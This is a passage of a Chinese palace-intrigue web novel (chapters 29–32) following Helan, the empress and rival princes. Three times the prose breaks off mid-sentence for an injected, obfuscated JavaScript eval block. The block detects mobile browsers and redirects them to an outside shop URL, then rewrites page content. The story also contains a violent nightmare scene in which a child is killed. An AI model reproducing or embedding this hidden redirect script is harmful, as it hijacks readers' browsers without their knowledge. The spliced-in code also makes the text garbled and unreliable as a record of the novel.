贺兰心情略好了些,脸上浮现了一个清浅的笑:“忙了这么些日子,也该休息休息了。明日替我告个假,就说受了寒,无法上值了。” 环夫人了然,笑对素商道:“是该休息一些时日,惹人注目也不是什么好事。”这话却是在揶揄贺兰。 贺兰冲她扔了个软枕,撒娇般地要将人赶走。转念又想起白日里的事情,吞吐道:“他来了洛城。” 环夫人没有多费心思便猜到贺兰口里的“他”指的是谁,听贺兰的语气,似是忧虑,似是含羞。 还算持重的女郎,一遇到这个人,总会乱了方寸。她自己看不破,别人也没点醒的必要。那人昭昭野心,并不是省油的灯,和他扯上干系,哪里会有平静日子过。 “他来了又如何,总不至于是专程来找你。若是见面,可别给什么好脸色,莫要让他觉得你对他还有旧情。”环夫人冷了脸,闷着声道。 贺兰好奇:“他可是在燕关为难你了?” 环夫人摇头,神色严肃:“女郎要记住,他如今已是北地霸主,再不是你曾经的独孤郎了。这些人眼里什么都有,就是不会有儿女情长这般小事,你若是昏了头,小心自己受伤害。” 贺兰敛了眸,半晌才徐徐点了点头。 环夫人所说她如何不明白,重见他时,时移世易,他早不复当初。可是环夫人却不知道,他从来都不是可堪托付的郎君,哪怕当初落魄到那种程度,也是个蛰伏待机的狼崽子。他的宏图远志里,一向就没有儿女情长。过去没有,现在更不会有。 “姊姊误会,不过是想让你留心些,我怕他会坏了咱们的事。”贺兰眯了眯眼睛,笑着道。 环夫人叹了口气,转身离开。 …… 贺兰早早睡下,起初还有些睡意,可窗外的风声有些缭乱,扰得她睡意渐消。她直挺挺地躺着,心里混沌一片,也不知想了些什么,总之有些辗转反侧。 迷迷糊糊,窗外有了些亮光,刚想翻身眯一会儿,却听到门扉轻叩,有宫人道:“萧女史,元内司要见你。” 贺兰在榻上滚了几下,低低咒骂了一声,还是不情不愿地应声回了句好,旋即懒懒拥被而起。 29. 二十九、玲珑心 贺兰见到元内司时,她正立在九龙池前举目远望。清晨的湖面烟波缭绕,丝丝寒气扶在枯败的柳枝上,仿佛再往上就能凝住天边的残月,新升的朝阳。 元内司仍旧穿着青色的衣裙,头发上带着笼冠,背影有些孤清。 听到脚步声,她淡然回首,看贺兰裹得厚实,笑道:“原来你这般怕冷,昨日让你穿成那样,倒是委屈你了。” 贺兰从大氅中露了个脑袋,伸手取下了风帽,弯腰行礼。 “不用解释什么,你的心意我已明白。”元氏叹息了一声,“对你多有误会,终究是我不好。” 她的手停在贺兰面前,犹豫着又收了回去。她脸上带着笑意,但那样的笑,仿佛凝滞的湖水,透着七分不自然,另外三分……或许是歉疚。 她是个傲气的人,肯认错已是不易,贺兰并没有追根究底的习惯。朋友多一个,敌人就少一个,这对她有好处。 贺兰浅笑:“昨日风寒,只能出此下策,还望内司不要怪罪。” 知她玲珑心思,不愿将话说得太明。元内司笑了笑,将头转向了湖面。湖上清波微凝,几只孤鸟掠过,转而又难觅踪迹。 “芜娘不喜欢这禁庭吗?”元氏忽然开口问道。 “谈不上喜欢或不喜欢,已经走到这一步,万没有回头的道理。”贺兰声音低沉,像是说给自己听,“不瞒内司,我虽为官宦之女,但亦是无家可归之人。” 这是她第一次袒露自己的身世,尽管说得隐晦,但元鸿仪能听出言语中的心酸和无奈。 “既然无路,得幸于天子未尝不是一个出路,何况深宫杳杳,哪里有太多选择?”元鸿仪转头,看着贺兰。 芙蓉濯露,柳烟清濛,她这般相貌,除了皇后殿下,整个宫里也难寻觅到第二个了。 贺兰摇头,开口时略带羞赧之色:“遇到内司前,我也曾以为这是唯一出路,可是见内司后芜娘才明白,女子亦可才华满腹,锦心绣口,以才德立足。” 这样的恭维,元鸿仪听过不知多少遍,可从她口中说出,偏就让人无比受用。眼前的女子有着独特的气质,分明看着柔婉多情,有时却倔强清高,好像对所有人都温和有礼,但总有淡淡的疏离,好像这湖上的雾气,美得难以捉摸。 “女官品级有限,总是要出宫的。”元氏浅笑。 “生而有涯,知却无涯,若能以诗书为伴,宫内宫外有什么区别。况且,说句不怕内司见笑的话,阿芜若能以才德立足,将来出宫自立女户,也有谋生之能,不受外人欺扰。” 原来她存的是这样的心思。元鸿仪轻轻叹息,下定决心终生不嫁,需要何等勇气,她比谁都清楚。她不认为眼前这个年轻貌美的女郎能有这样的狠劲,毕竟她受到的诱惑只会比自己更多。 “你还年轻,不用这般丧气。”元氏伸手过来,握住了贺兰的。 贺兰垂眸:“心意已决,还愿内司不吝才学,费心教我了。” 元氏点头,拍了拍她的肩膀。 …… 独孤策起得很早。 一是因为他这么多年一直都有早起的习惯,另一个原因则是被念经声所扰。 法云寺很大,后院的客舍也算得上宽敞疏阔,但寺僧多香客多,难免嘈杂。这这也是他选择在此处匿身的缘由。 这次他随恭贺的使团而来,寄居佛寺比住在馆舍更合适隐藏身份。 踱步出门,寻了半日也没见一处可以伸展拳脚的地方,独孤策无奈地锤了锤肩膀,又伸了伸腰。 远处晨雾挂在槐树枝头,依稀可以看到寺中那座九层的浮屠塔。听闻这是当年慕容桢为一个汉女所造,高耸巍峨,金光闪烁,宝铎和鸣,前来瞻望者络绎不绝。究竟是多深的情,多强烈的遗憾,才愿意用这样虚妄的愿景追寻一个永不会实现的可能。 独孤策不理解,却有浅浅的叹惋萦绕在心中,久久不去。佛曰八苦:生、老、病、死、怨憎会、爱别离、求不得、五阴炽盛,或许在慕容桢心里,求不得才是最苦。 那么自己呢? 独孤策苦笑,年少时经历了太多挫折,便会觉得什么都不算苦了。他不相信什么来生,他只相信自己,只要是他想要的,纵然是入碧落黄泉,穿刀山火海,他都要拿到手中。 脚步声匆匆而来,独孤策一瞥,见是装扮成樵夫模样的木咄,扬眉笑了。 “不过清晨,何必如此匆匆。” 木咄见他戏谑,知他今日心情不错。想必昨日顺利见到那个女人,两人相谈甚欢吧。 木咄其实并不喜欢贺兰,这个女人喜怒莫测,心思过深,并不似草原女儿那般爽朗大气,后来又纠缠在大王和乐陵公之间,让他们渐生龃龉,如今又进了大晋的皇宫,成了什么女官……可是大王显然很在意她,在意到甘愿冒着风险,也要去宫中见她一面。 越美丽的女人,就越是麻烦。 “大王,宫中有消息。”他俯身行礼,如实禀告。 “哦?”独孤在晋宫中安插了不少眼线,大多是用来刺探晋帝和他的那些重臣之事,消息不必传给他,自有人分类处置,只捡机要的上报。可通过木咄直接上报给他的,只能是贺兰的事。 木咄凑过来,低语了几句。 独孤策的神色越来越严肃,听到后面直接紧锁起眉头。 “大王我们要管吗?”木咄忐忑地问,毕竟那样隐秘又危险的事情,独孤策绝不会置之不理。 独孤策忖了忖,眉心慢慢纾解,丢了这样一句:“随时盯着就是,若她遇到危险,再出手。” 木咄有些犹疑:“当真放任娘子……” 独孤点头:“依她的性子,难道能劝得住?” 说罢,无奈的揉了揉额心,像是自语:“她的胆子,真不是一般地大。” “若是没有大王庇佑,娘子也不知会闯多大的祸……”木咄嘟囔。 “她不需要孤庇佑,她从一开始就没有将别人考虑在她的计划之中,”独孤策断然否定,“是孤自己一厢情愿要帮她,她知不知道都无所谓,说不定知道了也不肯领情,还会怨怪孤多事呢。” 那为何还要管呢?木咄越发不明白了。 他是个感情上迟钝笨拙的人,猜不透这些婉转曲折的情肠。他只知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739186|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个女人所谋太大,随时有玩火自焚的危险,若无大王相护,她只怕会将自己葬送在吃人的晋宫中。 何必呢?随大王回草原不好吗? “想办法在她身边安插几个人,若有异动,随时来报。”独孤策淡声吩咐,“她生性多疑,不要让她察觉。” 木咄应下,急忙去办。 …… 崇训殿中,元鸿仪长跪不起,脸色有些惶然。 “阿鸿,我知你一心为我,可这一次你做得太过分了。”谢明影一贯好脾气,就算是绷着脸训斥人,声音也是温温柔柔的。 元鸿仪叩首谢罪,眼圈有些发红:“臣只是心疼娘娘。” 她仰起头,依依望着眼前这个素衣丽人。她总是这样,宁可自己默默吞下一切,也不愿别人因她受半点委屈。 “娘娘心中想什么,臣都知道,若是有人替……”情急之下说出来,顿觉失言,怏怏地闭了口。 明影走过来,轻轻将她扶起,叹道:“你的心,我都知道。可是你有没有想过,那不是小事,若是因为我们让一个无辜女子被困深宫,那我们的罪过该有多大。” “己所不欲,勿施于人,这个道理你怎会不知?” 她俯身,替元氏掸了掸衣袖上的灰尘,语调里藏不住的哀伤和落寞。 “娘娘这般想,别人却未必。追名逐利,谄媚邀宠的人何其多,只要有一个进入陛下的眼中,他就不会……” 就不会日日缠着娘娘,让她痛苦不堪。 谢明影遥遥望着窗外,那里有雪花寂然飘落。她轻轻阖上眼眸,叹道:“可她分明不是,若是肯,也不用将面纱遮得那样严实。” “她是个聪慧的女子,既不愿拂了你这个上官的意愿,也不愿将自己置于风口浪尖。” 元鸿仪听她这样评价贺兰,不由得露出认同之色。 “佳人难再得,再寻一个这般聪慧,美貌又有风姿的女子,实在太难了。何况,她还是魏女。” “魏女?” “她的阿父正是前些年弃宛城而降的萧恪。” 说起萧恪其人,元鸿仪颇不屑,嘴唇下意识地撇了撇。那样一个没骨气的人,没资格生下这样玲珑如玉的女儿。 “萧恪……”听到这个名字,谢明影不知想起了什么,神色更加忧伤。 “我那日见过他,他是大魏宗室,想不到也会弃城而降……”明影喃喃,“我少时曾去过宛城,他家女郎也有些印象,应是叫‘青芜’……” 元鸿仪点头:“正是叫萧青芜。” “青芜……阿芜……”她念了几遍。 模糊的记忆里,有人也曾对她提起过这个名字。 “我家阿芜最调皮,偏阿娘宠的紧,改日带到你面前,让她看看什么叫闺阁之秀。” “你不是想学射箭吗?我可以教你……若是你觉得不妥,阿芜来也可以,别看她小小年纪,箭法比我都好。” “明影……” 尘封的记忆被翻开,陡然带起些烟尘色,昏昏的一些片段,却足以让人萦损柔肠。 “带她来见我吧。” 30. 三十、血色梦 贺兰赶到崇训殿时,正日暮昏昏,殿里极静,宫人低首站立,仿佛泥铸石雕一般。长御显姿身量高挑,走起路却无声,亲自抬步将贺兰迎入殿中,比了比手指向内殿,示意她自己进去。 内殿中沉香幽浮,一个素衣女子坐在一架云母屏风前,此时正手捧着一卷书,蹙眉思索着什么。 一缕夕阳从窗口偷入,镀在她的乌发上,如佛光微现,虽看不清五官,却已让人不敢直视。 “你来了。”她的声音也好听,柔和清婉,山泉般熨帖人心。 贺兰从怔愣中惊醒,匆匆上前,行跪拜礼。 “小臣萧氏,拜见皇后殿下。” “阿芜……”那个声音靠近了些,香风也随着裙裳曼移徐徐拂过。 贺兰抬头,记忆中的容颜模糊了又清晰,清晰后又转为朦胧。眉眼仍如当初,只是美貌更胜从前。 她嗫喏了几句,忍住了相识的冲动,规规矩矩地垂下了头,只又叫了声“殿下”。 谢明影叹息一声,没有强迫,只是亲自扶起了她。 宫闱深深,便是独处,身边仍有数个宫人在侧,她们并不适合诉说往事。眼前的女郎已不是垂髫稚子,褪去青涩后的她,如她阿兄期待的那般,一举一动都是世家女的窈窕端庄。 “如何便入了宫?”明影问道。 宫人机敏,已置好了坐榻。皇后出言赐座,贺兰不好拂逆,便依言坐了下来。 “你的琵琶何时学得,竟弹得那般好?”明影见她回避方才的问题,便换了个话题。 贺兰如实回答:“家父擅琵琶,曾经授了些技艺,后来……小臣自己也喜欢,就自己摸索着弹。微末小技,恐污了殿下耳朵。” “想起来了,萧侍郎曾在金陵宫宴上奏过琵琶的……” 那时她年岁也不大,随着阿父和阿母入宫赴宴,她久在江北,少来金陵,比不得阿姊自在,只知道跟在阿母身后亦步亦趋。那次宫宴的很多细节都忘了,只记得当时宛城太守萧恪一曲琵琶惊艳四座,得了阿舅很多赏赐。 可是太守却不肯领受,他说:“此为陛下所设宫宴,若有恩赏,当由陛下赐。”阿舅闻听此言,并未羞恼,反而夸他忠义,表奏他做了偏将军。 然而如今,那个被夸忠义的人,却半点骨气也不见了。 他……若是知道,该有多伤心。 “殿下若是不弃,小臣愿为殿下再演奏一曲,只是不知殿下想听什么。”贺兰见她出神,忖了忖,出言问道。 没想到有了回应。 美人烟眉微蹙,声音缥缈:“我记得有一首古曲,叫‘鸟雀歌’……” “殿下,小臣会奏,只是这首曲子若用洞萧吹奏,更得其韵致。” 确实…… “无妨,且奏来。” 宫人奉上一把半新不旧的琵琶,上面绘着凤鸟纹样,不用仔细看都知名品无疑。乌木拨子轻轻一动,淙淙乐声如流水,潺潺而起。 “南山有鸟,北山张罗。乌既高飞,罗将奈何。意欲从君……虽有众鸟,不为匹双。故见鄙姿,逢君辉光。身远心近,何当暂忘。” 弦起心尘生,不知不觉泪流满面。 “好好的怎么还哭起来了?”一个声音骤然响起,沉沉落在空寂的殿中,让所有人都有些骇然。 明影抬头,见慕容桓就站在门外,也不知道站了多久。 内室与外殿有一道长廊,那里的宫人垂着头,仿佛连呼吸都小心到了极处。 “平白奏这样哀伤的曲子做什么!”他迈步而入,经过贺兰时,一道犀利地目光直射而来,斥责声不大,却足以听出山雨欲来的危险。 贺兰一慌,琵琶落在了地上,一声闷响后,她惶恐更甚,匆忙匍匐在了地上。 “是我命她奏的,”明影的声音却平静至极,仿佛司空见惯,“我一向喜欢这种曲子,陛下莫不是连这个都要限制?” “怎会!”慕容桓听到这一句,忽然朗朗笑了起来,“朕不过是看不得你伤心。” 方才还乌云密布,转眼云销雨霁,慕容桓的脸变得也太快了些。贺兰腹诽,却还是没有抬头。 “这又是你从哪里寻来的乐伎,听着技艺尚可。” 慕容桓坐下,习惯性地将明影揽在了怀中,并不避讳与她的亲密。 明影皱眉,推了推他,随即说道:“阿芜非乐伎,她是宫中女史。” 慕容桓的视线终于从明影那里移开,落在了跪地之人身上。小小的一团影子,瑟瑟缩缩,可见是个胆小至极的。 “你若是喜欢,便让她留在你身边伺候吧。”慕容桓不想在这些事上费心,摆了摆手,便将此事定了下来。 “那便多谢陛下了。”明影欣然接受,甚至又多言了一句,“阿芜出身名门,只做女史着实委屈了些,不如陛下降旨让她做女侍中,替我掌管崇训殿吧。” 她一贯少言寡语,今日竟肯对他言谢,甚至还破天荒地让他擢拔女官……慕容桓欣喜异常,哪里有不答允地道理。 一面抓住了明影的手,一面笑道:“你是皇后,这些内宫的事朕一概不会过问,全由你说了算。” 说罢,又对面前这个女官起了好奇之心,也不知她有什么通天的本事,让明影对她这样另眼相待。 “抬起头来。”慕容桓忽然道。 贺兰心口一紧,瑟瑟抬起了半张脸。 是个美人,不过……似乎有些面熟…… 贺兰触到这双鹰一样锐利可怖的眼睛,仓皇着又低下了头。大约这一眼看得太久,以至于身边人都起了疑窦。 明影扯了扯慕容桓的衣袖,声音冷了下来:“陛下在看什么?” 不满之意分明。 慕容桓收回了目光,尴尬地解释:“不过是觉得此女有些面熟,明影莫要多想。朕有你在身边,再不会有他念。” 明影别过头去,冷冷哂道:“陛下喜欢谁,与我有什么干系,不过阿芜既然是我宫中人,还望陛下三思。” 慕容桓既慌又喜,凑过去揽住明影的肩,声音柔和万分:“明影还是在意朕的,对不对?朕就知道……你放心,朕绝不碰其他女人,只要你在朕身边,朕再无奢求。” 说罢,不耐地摆摆手,示意贺兰退下。 贺兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752513|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡起琵琶,逃也似的离开。 不知是不是错觉,她总觉得那道目光又落在了自己身上…… …… 那一夜,贺兰被噩梦所困,差点无法醒过来。 她又梦到了那双鹰一般锐利地眼睛。那双眼睛的主人坐在高头大马上,缓缓靠近。大刀闪着寒凉的光,被他横提在手上,上面血色纵横,不时滴落。 她看到阿兄的首级被他悬在马头,随着马蹄的移动,不安地晃动着。那双俊秀的眼睛不甘地睁大,蜿蜒着两行血泪……她死死地将铭儿护在怀中,浑身觳觫战栗,双腿却像是灌了铅,根本挪不动半步。 “萧恪已经投降,尔等为何还要负隅顽抗!”那个声音也像是地狱中传出的一般,森然可怖。 她周身的血液已不再流淌,尽数凝在头上,憋得太阳穴都要炸开一般。她控制不住地发出一声尖锐的嘶吼:“我阿母说过,就算粉身碎骨,也绝不降鲜卑奴!” “可是你阿父已经降了!”他颇轻蔑,“城已破,再负隅顽抗有什么意义。” 阿母投缳,阿兄战死,就算是活着又有什么意义。 青芜绝望地闭上双眼,一行清泪蜿蜒而落,脸色苍白如纸。 “怀里那个小崽子也跟着你去死吗?”长刀指向了她的胸口,离她不过几寸。 两岁的铭儿用小手死死抓住她的衣襟,哭得声音都哑了。 她已经死了的心,因为怀中这个小小的人儿,揪痛难抑,如在油锅里煎熬。 “吵死了!父王留着他们做什么,一刀结果了干净。”一个少年策马而来,不耐道。 他一面说,一面漫不经心地看向青芜,忽然眼睛一亮,道:“不过……此女虽年幼,却实在貌美,父王不如留给我,待我玩厌了再杀吧。” 说罢,他就要下马去抓人。 “慢着!”一声怒喝,少年怏怏停下,看向对方。 “你说得对,”马蹄声又起,离青芜又近了几分,“留着的确没什么大用,不过羞辱一下这些南人倒也不错。” 刀尖挑起了青芜的下巴,划破了她的皮肤,也刺破了她的所有尊严。 “赏给将士们吧,若是死了,就丢还给萧恪。” 尾音带着笑意,地狱里的罗刹也不过如此。 可她还没有来得及羞愤……寒光闪过,她被刀背拍得一个趔趄向后倒去,下一瞬刀尖已经刺向了怀中的铭儿! 鲜血溅满了她的脸颊,她的衣衫……她尖叫着抱紧了铭儿,却只感受到他哭声戛然而止,小小地身体在剧烈的颤抖后归于死寂…… 有人扯住了她的胳膊,拽着她起身,她死死抗拒,就算被扯断了胳膊也不肯放手。口腔里满是鲜血,眼前一片模糊。 她用尽了最后的力气,挣扎着咬住了对方的胳膊。她咬生啖其肉,饮尽其血! 一阵尖锐地疼痛从胸口传来,她看到自己的胸口被利刃贯穿……殷红的血漫在素色的衣衫上,晕成一片。 真像一片繁花盛放,只可惜美得太过不祥。 就这样结束吗?只能这样结束吗?她的仇人还活着……他们在笑呢! 31. 三十一、蛰伏待 贺兰一直以为皇后乃是至尊,应当清闲无比,随心所欲。可来到崇训殿才知道,此间诸事繁杂,比原先在天禄阁更甚。 晨起便有少府送来账务,要皇后亲自过目,不一会儿又有女贤人前来,奉上近期后妃生辰需赐下的礼品名单,又有……贺兰负责接应事宜,就已经忙得不可开交,可当她进到内殿,却见皇后安坐于几案前,举止从容,不徐不疾,而事务处理速度之快,简直让她咋舌。 “不过是寻常事务,到我手里已经条理分明,不过稍作阅览便是。”听到贺兰的恭维,明影含笑解释。 “既然是寻常事务,殿下完全可以交给女官去做,何必事事亲力亲为?”贺兰一面替她打理书案,一面问道。 明影却摇头,神色依旧专注:“古时以“小君”称皇后,意为辅佐国君共治天下。现在虽困于内宫,但也需以身作则,克己守礼。所谓‘在彼无恶,在此无斁’,能够如此,也不算辜负阿父阿母的教诲。” 在彼无恶,在此无斁……贺兰读诗时,见过这句话,意思是无论何处都不遭人怨恨。可是一个人无论做得多好,真得会令所有人都满意吗?何况这是晋国后宫。 皇后大概是昏了头,才会想着在敌国的后宫播撒什么恩德。她忘了当初大晋的铁蹄是怎么一路南下,烧杀抢掠,践踏着她同胞的尸骨,觊觎着他们的宗庙社稷。 何况,她的丈夫也是因慕容桓而死,她难道不恨吗? 贺兰脸上却未露出任何痕迹,只是状若无意的继续着自己手里的活计。她是个细致的人,一份份文书和上奏被她分门别类归纳的极好,倒替明影省了许多工夫。 “今日午膳,你陪我用吧。”明影处理完最后一件事,忽对贺兰道。 贺兰没有拒绝,应了一个“好。” 明影便笑:“还真是个大方的女郎,我还以为你会拘谨推辞。” “殿下是和善之人,待我们一向关爱有加,小臣何须拘谨,更不会推辞殿下一片好意。”贺兰回答。 “不必一口一个小臣,你我有旧,我拿你当妹妹看的。” “可是殿下方才也说了,克己守礼,以身作则,若是殿下对小臣特殊,又如何能让别的女官心服口服,不生怨怼呢?小臣心里清楚娘娘厚爱,至于礼节,绝不敢有懈怠。” 明影看着她,目光深深,流转着一抹怜爱之意。 “不卑不亢,明晓事理,阿芜,我果然没有看错你。”明影握住了她的手,轻轻抚了抚。她的手很凉,贺兰不由瑟缩了一下。 “殿下气血似乎有亏,可否让医女前来请脉?”贺兰试探着问道。 明影却摇头,说无妨:“生阿桐时不太顺利,落了些病根,用了药也不见好,还是慢慢调理吧。” 她口中的阿桐,就是刚刚三个月大的兰陵公主。贺兰想起前几日从佩云她们那里听来的闲话。 “从未听过哪个皇女,一出生就获封公主,还得了一千食邑。” “就是啊,先前的清河公主也是在许婚代王后,才有了封号的。她前面的那些姊姊,有好几个还尚未得封公主呢。” “而且呀,公主最多三百食邑,这一千食邑比陛下的姑母舞阳大长公主都多。” “那可是皇后亲生的,谁敢比,陛下日日都去看望,简直如珠似宝地珍视呢。” …… 午膳时,贺兰见到了这个传说中千尊万宠的兰陵公主。粉白的一张脸,团团可爱,再心硬的人看了她,都能当下软了心肠。 可惜,一直啼哭不休。 “这几日也不知为何,总是啼哭,可去找了御医?”明影从乳母手中接过孩子,抱在怀里柔声哄着。 乳母不安,急忙解释:“御医不敢耽搁,早就来看过了,说是公主无恙,就是有些积食。” “可开了方子?” “说是药性过烈,公主又太年幼,分量不能过重,需混入乳汁中服下。” “这如何办?”女儿的哭声让她失了平日的端雅稳重,声音里都透着焦急。 “小臣可一试。”贺兰道。 她伸手过去,接过了小公主。抱住孩子的那一刻,她周身犹如被闪电击中,一阵酥酥麻麻,复杂的情愫还未交织成网,但眼里已经不由自主地泛出柔和的光。 “阿芜抱孩子,倒是有模有样的。”明影随口说道。 贺兰的眸光凝滞了片刻,低声解释道:“小臣曾有个侄儿,他阿母生他时难产,早早故去了,我阿兄又忙,所以一直是小臣在带。” 明影怔了一下,神色间带了些凄惶。 “你侄儿如今……”她问完便有些后悔。听闻萧英死在了宛城之战,芜娘又流落北地多年,想必那个孩子…… 她心里仍存了一点期待,毕竟那是他在世上唯一的骨血,若是还活着,当如其父吧。 可是贺兰的回答却将她最后一点期待都打破了。 “他死了。” “怎么死的?” 贺兰敛起眼中的恨意,回答的简单:“病死了。” 说 罢,似乎不愿再提此事,将话题转回:“公主的积食不难治。”她轻轻搓了搓手,将手掌按在了婴儿小肚子上,对乳母道:“用热手放置在这里,动作轻柔些,顺着一个方向揉,对于积食或有帮助。” 又谨慎道:“这并非有效之法,若不生效,只能你受些委屈,将药喝了化成乳汁给公主喂下了。” 乳母忙说不委屈:“药性霸道,怎敢让公主直接喝下。” 贺兰按了一会儿,公主果然不再哭闹,缩在贺兰怀中,睡得十分香甜。 “你与阿桐倒是有缘。”明影命乳母将孩子接过,笑道,“阿桐长大,少不了拜你为师。有你这样才学出众的名门闺秀做师父,我便放心了。” 可是…… 贺兰在心里苦笑,面上却谦恭:“小臣惶恐,怎敢担此重任。” “明影这么早就给阿桐找师父了?”殿外一阵行礼声传来,慕容桓踏入室内,一面笑着一面去找女儿。 “她刚睡着。”明影皱眉阻止。 慕容桓干干笑了两声,神色有些落寞:“朕听说她哭闹,上朝时都不安心。” “已然好些了,这都是芜娘的功劳。”明影顺便给贺兰邀功。 慕容桓看了贺兰一眼,顺口道:“你身边的这个女官倒是能干,说罢,想要什么赏赐?” 贺兰想了想,并没有推拒:“小臣不敢求什么赏赐,只是……” 她看着有些犹豫,讷讷道:“小臣家母早逝,牌位供奉在景林寺,不知陛下和殿下可否见怜,允臣每月去景林寺上香,以尽孝道。” 本朝女官有一定的出宫自由,品级高的如元内司更可以在宫外有自己的宅邸,贺兰的要求提的不算过分,何况慕容桓也了解到,她是萧恪的女儿。 萧恪为人机敏,很善言谈,近来慕容桓颇喜爱他。 “依皇后看呢?”慕容桓还是想听听明影的意见,他想让所有人都知道皇后的意见便是他的,谁都不要忤逆。 明影自然愿意施恩,柔声道:“阿芜是纯孝之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768071|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,这有什么不能准的,莫说一月去一次,便是执着鱼符每日出入,又有何不可?” 慕容桓应了一声好:“皇后已经开口,朕还有什么不准的。朕便赐你鱼符,出入宫禁时出示即可。” 贺兰叩谢,转身时唇角带上了一丝幽微的笑。 …… “女郎当真可以自由出入?”素商有些雀跃,她早在宫里憋疯了,恨不得现在就插翅飞到集市大吃特吃。 “女郎如何考虑的?”环夫人问。 贺兰如实回答:“在宫里难免束手束脚,能自由出入,有些事情就不那么难办了。” 她心里确实有些迷茫,不过事态到了如今,容不下她迷茫了。 …… 贺兰出宫,径直去了景林寺,对着长生牌位磕了几个头,然后绕道去了后院。后院松风阵阵,大风卷着雪珠子直往脸上扑,她站在空寂的院落中,看着灰沉沉的天,发出一声悠长的叹息。 “你如今春风得意,何故做此长叹?”男子的声音笑中带讽。 若不是还有用,贺兰实在不愿意和慕容泠多说半个字。这个人看着温润,实则浑身带刺,过度敏锐,口舌上也不肯饶人。和他说话,费神的很。 “谈不上春风得意,不过如殿下所愿,顺利留在了皇后身边。”她回身,风帽落下,发髻有些凌乱。 鬼使神差地,慕容泠伸手过去,想要帮她扶起摇摇欲坠的金簪。 可他还未接触到她的发,贺兰已经向后退了一步,反应极快地躲避着他的触碰。 意识到自己在做什么后,慕容泠苦笑,嫌恶地收回了手,心里恼恨不已。 “今日找本王,又是何事?本王已经告诉过你,若无必要,你我不要直接相见。”他负手,神色冰冷。 贺兰有些哑然,愣愣地反应了几瞬。 他什么时候说过这个话?而且,今日不是他遣人约自己到此的么? 懒得和他计较这些,贺兰也板了脸,一副公事公办的态度:“陛下这些时日总提到庶人慕容泓,想来是心有不忍,想要放他出来了。” 慕容泠思索着她的话,挑眉笑道:“我阿兄被关许久,想来已经知错,如今能被放出来,这是好事啊!” 当真虚伪至极! 贺兰才不理会他的虚情假意,弯了弯唇角,道:“既然陛下有意,不如殿下成全。反正迟早要出来,不如让殿下落一个孝悌忠义的名声,这于殿下而言百利而无一害,睡不着的只会另有其人。” 慕容泠迫近几步,一双桃花眼潋滟地打量着贺兰,声音低沉:“你倒是关心他,莫不是还想回渤海王府?” 贺兰含笑迎上他的目光,眨了眨眼睛,道:“我才不在意他呢,如今在意的却是殿下你呢!” “哦?” “等着殿下扶摇直上,看看我算不算有拥立之功?”她发上的簪子终究还是落了下来,她没有去捡,只是笑着扶了扶鬓发,然后转头扬长而去。 明知道她谎话连篇,但慕容泠还是心弦微动。拥立之功啊……她倒是想的长远,她怎么就不怕狡兔死,走狗烹呢? 不过自己的确胜过慕容泓百倍,就算他放出来,也不过强弩之末。且让他们斗下去吧,自己这个贤王的名声还得继续维持呢。 俯身捡起了贺兰的金簪,他拭了拭上面的尘土,仔细看了几眼。叶脉凝露,并不是如今流行的款式。那金色的叶片纤薄精致,上面的纹理逼真异常,一颗小巧的珍珠点缀在上,如将落未落的露珠。 如她一般,刁钻美丽。 32. 三十二、故人归 惊蛰刚过,贺兰在宫外的住所便已修葺一新了。她特地选了一处僻静的所在,离景林寺很近,离萧府却很远。 院子不大,房屋也只有几间,难得有一片菜地。原主人想必也是个懒惰的,菜地荒废许久,上面杂草丛生。 “就这样一个小院子,也敢要价五万钱,莫不是疯了吧?”环夫人冷着一张脸,默默道。 “到处闹饥荒,米价都长得不像样子了,这五万钱勉强糊口,能买这处已经不错了,何况,这是洛阳啊。”贺兰将外裙别在腰带上,一面搬着木箱一面道。 她干起活来颇有章法,手脚十分利索,半点也看不到高门女子的骄矜。 素商跑过来接应,焦急道:“这些粗活交给婢子就好了,你何必亲自动手。” 贺兰想说无妨,毕竟买宅子的钱还是借慕容泠的,她那些俸禄得攒到猴年马月才能付得起,若是再雇人,只会让日子更加捉襟见肘。 环夫人轻轻一托,那个沉重的木箱便轻飘飘地离开了她们的双手,不过几个呼吸,就被她稳稳放在了屋中。 “问元内司借也行,干嘛要问陈留王借?”环夫人拍了拍手上的灰尘,道。 贺兰出了汗,顺势坐在廊下休息,看着环夫人笑道:“他那个人多疑的很,若不让他觉得有把柄在手,他如何肯再帮我。他还有些用处,何必得罪。” “依我看,他也不是什么好东西。素商,你不觉得他今日来得过于殷勤了些?”环夫人走到树下,拍了拍那棵枯树的树干,很不幸,几掌下去那树更秃了。 素商从箱子里找了个软垫子,递给了贺兰,笑道:“的确殷勤了些,听说他婚期将近,不去陪着新娘子,总跑咱们这里做什么。” 贺兰歪着头,笑得单纯:“谁知道呢,大约是看上咱们素商了吧。” 